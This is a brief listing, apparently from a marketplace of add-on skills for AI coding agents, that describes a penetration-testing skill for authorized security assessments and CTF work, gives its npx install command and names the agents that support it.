Use this skill when conducting authorized penetration tests, vulnerability assessments, or security audits within proper engagement scope. Triggers on pentest methodology, vulnerability scanning, OWASP testing guide, Burp Suite, reconnaissance, exploitation, reporting, and any task requiring structured security assessment within authorized engagements or CTF competitions.
How do I install penetration-testing?
Run npx skills add AbsolutelySkilled/AbsolutelySkilled --skill penetration-testing in your terminal. The skill will be immediately available in your AI coding agent.
What AI agents support penetration-testing?
penetration-testing works with claude-code, gemini-cli, openai-codex. Install it once and use it across any supported AI coding agent.